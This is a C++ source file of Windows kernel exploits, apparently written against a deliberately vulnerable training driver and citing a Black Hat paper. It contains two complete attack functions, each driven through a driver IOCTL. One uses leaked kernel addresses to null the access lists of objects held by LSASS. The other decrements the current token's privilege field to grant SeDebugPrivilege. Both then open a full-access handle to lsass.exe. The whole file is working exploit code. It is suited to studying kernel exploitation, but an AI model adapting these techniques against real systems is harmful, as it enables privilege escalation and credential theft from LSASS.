GenericAttacks.cpp

#pragma once
#include "stdafx.h"
#include "GenericAttacks.h"
#include "KernelAddressLeak.h"
#include "Structures.h"


// This function will overwrite the ACL of all objects that LSASS has opened with a NULL ACL.
//	This effectively removes the ACL, which will allow anyone to open a PROCESS_ALL_ACCESS handle to lsass
//	and do DLL injection (or another technique) to elevate to SYSTEM.
//	See https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf
// Test on Windows 6.1 x86/x64
BOOL AttackWriteWhatWhere(HANDLE hDevice)
{
	BOOL functionSuccess = false;
	DWORD processId = 0;
	PVOID* objectAddresses = NULL;
	size_t objectCount = 0;
	BOOL bRc = false;
	void* ioctlDest = NULL;
	DATACOPY* dataCopy = NULL;
	void* ioctlSrc = NULL;
	HANDLE hLsass = NULL;

	printf("+ Entering AttackWriteWhatWhere.\n");

	//Get the process ID of lsass
	BOOL success = GetProcessIdByName(L"lsass.exe", &processId);
	if (!success)
	{
		printf("- Failed to get process by name.\n");
		goto Cleanup;
	}
	printf("+ Process ID of LSASS: 0x%x\n", processId);

	//Leak the addresses of all the process handles LSASS has opened
	success = LeakProcessObjectAddresses((HANDLE)processId, &objectAddresses, &objectCount);
	if (!success)
	{
		printf("- Failed to call LeakProcessObjectAddresses.\n");
		goto Cleanup;
	}


	for (size_t i = 0; i < objectCount; i++)
	{
		//
		// Performing WriteWhatWhere to null process ACL
		//
		DWORD bytesReturned = 0;
		dataCopy = new DATACOPY();
		DWORD overwriteSize = sizeof(PVOID);
		ioctlSrc = malloc(overwriteSize);
		SecureZeroMemory(ioctlSrc, overwriteSize);

		dataCopy->Dest = PVOID((UINT_PTR)objectAddresses[i] - overwriteSize);
		dataCopy->DestLength = overwriteSize;
		dataCopy->Source = ioctlSrc;
		dataCopy->SourceLength = overwriteSize;

		ioctlDest = malloc(overwriteSize);

		printf("+ Overwriting address: 0x%p\n", dataCopy->Dest);

		bRc = DeviceIoControl(hDevice,
			(DWORD)IOCTL_KDEXPLOITME_METHOD_WRITEWHATWHERE,
			dataCopy,
			sizeof(*dataCopy),
			ioctlDest, //Won't actually be used in this exploit
			overwriteSize,
			&bytesReturned,
			NULL
			);


		if (!bRc)
		{
			printf("- Error in DeviceIoControl : %d\n", GetLastError());
			goto Cleanup;
		}
	}


	//Attempt to get a handle to LSASS, which is normally not possible, but should be possible after running the exploit
	hLsass = OpenProcess(PROCESS_ALL_ACCESS, false, processId);
	if (!hLsass)
	{
		printf("- Error opening a HANDLE to LSASS. Error code: 0x%x\n", GetLastError());
		goto Cleanup;
	}
	printf("+ Successfully opened a full access handle to LSASS. Exploit worked!.\n");


	functionSuccess = true;

Cleanup:
	if (objectAddresses)
	{
		free(objectAddresses);
		objectAddresses = NULL;
	}
	if (ioctlSrc)
	{
		free(ioctlSrc);
		ioctlSrc = NULL;
	}
	if (ioctlDest)
	{
		free(ioctlDest);
		ioctlDest = NULL;
	}
	if (dataCopy)
	{
		delete dataCopy;
		dataCopy = NULL;
	}
	if (hLsass)
	{
		CloseHandle(hLsass);
		hLsass = NULL;
	}

	return functionSuccess;
}

// This will decrement the privileges held by the current process by 1. This will effectively turn on almost all privileges
//	for the process, including SeDebugPrivilege. With SeDebugPrivilege, you can do DLL injection in to any process.
//	See https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf
// Test on Windows 6.1 x86/x64
BOOL AttackDecAddress(HANDLE hDevice)
{
	BOOL functionSuccess = false;
	PVOID tokenAddress = NULL;
	PVOID privilegeAddress = NULL;
	BOOL success = false;
	size_t ioctlDest = 0;
	DWORD bytesReturned = 0;
	DECADDRESS inBuf = { 0 };
	HANDLE hLsass = NULL;
	DWORD lsassProcId = 0;

	success = LeakCurrentUserTokenAddress(&tokenAddress);
	if (!success)
	{
		printf("- Error calling LeakCurrentUserTokenAddress.\n");
		goto Cleanup;
	}

	privilegeAddress = (PVOID)((UINT_PTR)tokenAddress + 0x48);

	inBuf.Value = (size_t*)privilegeAddress;
	inBuf.Dec = TRUE;

	printf("+ Decrementing memory at address: 0x%p\n", inBuf.Value);

	BOOL bRc = DeviceIoControl(hDevice,
		(DWORD)IOCTL_KDEXPLOITME_METHOD_DECADDRESS,
		&inBuf,
		sizeof(inBuf),
		&ioctlDest, //Won't actually be used in this exploit
		sizeof(ioctlDest),
		&bytesReturned,
		NULL
		);

	if (!bRc)
	{
		printf("- Error in DeviceIoControl : %d\n", GetLastError());
		goto Cleanup;
	}

	//Get the process ID of lsass
	success = GetProcessIdByName(L"lsass.exe", &lsassProcId);
	if (!success)
	{
		printf("- Failed to get process by name.\n");
		goto Cleanup;
	}
	printf("+ Process ID of LSASS: 0x%x\n", lsassProcId);

	//Attempt to get a handle to LSASS, which is normally not possible, but should be possible after running the exploit
	hLsass = OpenProcess(PROCESS_ALL_ACCESS, false, lsassProcId);
	if (!hLsass)
	{
		printf("- Error opening a HANDLE to LSASS. Error code: 0x%x\n", GetLastError());
		goto Cleanup;
	}
	printf("+ Successfully opened a full access handle to LSASS. Exploit worked!.\n");

	functionSuccess = true;

Cleanup:
	if (hLsass)
	{
		CloseHandle(hLsass);
		hLsass = NULL;
	}

	return functionSuccess;
}